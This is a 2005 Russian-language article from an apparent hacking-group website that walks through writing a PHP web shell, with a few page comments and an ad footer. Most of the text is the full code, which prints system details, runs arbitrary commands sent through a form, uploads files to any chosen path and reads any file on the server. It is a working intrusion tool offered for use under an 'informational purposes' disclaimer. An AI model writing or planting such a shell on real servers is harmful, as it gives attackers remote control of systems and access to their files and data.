Контакты

Для связи с нами можно использовать:
irc://irc.chatnet.ru:#gfs
icq://546460
email://cobalt[@]gfs-team.ru

Все материалы предоставлены только с ознакомительной целью
ГлавнаяСтатьиКодингWeb-Shell
© Cobalt 12.12.2005

Напишем простенький вебшел. С его помощью можно будет выполнять на сервере команды, закачивать на него файлы и читать файлы находящиеся на сервере.

Во-первых, выведем сведения о системе:

Сведения о системе:
<textarea cols=100 rows=4 readonly>
<?
passthru("uname -a"); 
passthru("id"); 
passthru("sysclt"); 
?>
</textarea>

Теперь создадим форму со всеми окошечками и кнопочками:

<!-- Form -->
<form action="<? echo($HTTP_REFERER) ?>" method="POST">
   <p>Введите команду: 
   <input type="command" size="100" name="cmd"><br>
   Рабочая директория:<br>
   <input type="text" size="121" name="dir" value="
   <?
      if($dir != null) { 
         chdir($dir);
         passthru("pwd");
      }else passthru("pwd");
   ?>"><br>
   <input type="submit" name="submit" value="Выполнить"><br>
   Загрузка файлов:
   <input type="file" size="100" name="filename"><br>
   Куда: <input type="text" size="95" name="dirname"><br>
   <input type="submit" name="upload" value="Загрузить"><br>
   Просмотр файлов:
   <input type="text" size="90" name="rfile"><br>
   <input type="submit" name="read" value="Прочитать"><br>
   </p>
</form>

Теперь выведем результат:

Результат выполнения команды:
<textarea cols=100 rows=25 readonly>
<?
   if ($dirname != ""){
      if(copy($_FILES["filename"]["tmp_name"], $dirname))
         echo("Файл успешно загружен");
      else echo("Ошибка загрузки файла");
   }
   if ($cmd != "") passthru($cmd);
   if ($rfile != ""){
      if (!($fp=fopen($rfile,"r"))) 
         echo("Ошибка открытия файла");
      fpassthru($fp);
   };
?>
</textarea>

Вот и готовый шел =).




© Cobalt 12.12.2005

e-Commerce Partners Network
fraIzer написал:

норм =/

Ник:

Текст:
P Br B I Qute



Код: обновить
Последние комментарии
18.11.2017 14:18:50 EvseyEdich написал:
groomma st plazoni ...
Пишем guestbook
18.11.2017 12:08:52 IrineyVep написал:
Seew pere Inoguic ...
Пишем guestbook
18.11.2017 03:10:20 EgorJap написал:
DurlSoipuri envegname Pago ...
Пишем guestbook
Реклама

Тут должна была быть ваша реклама, но мы потеряли глиняную табличку с ее текстом. SapeId: 665044

Rambler's Top100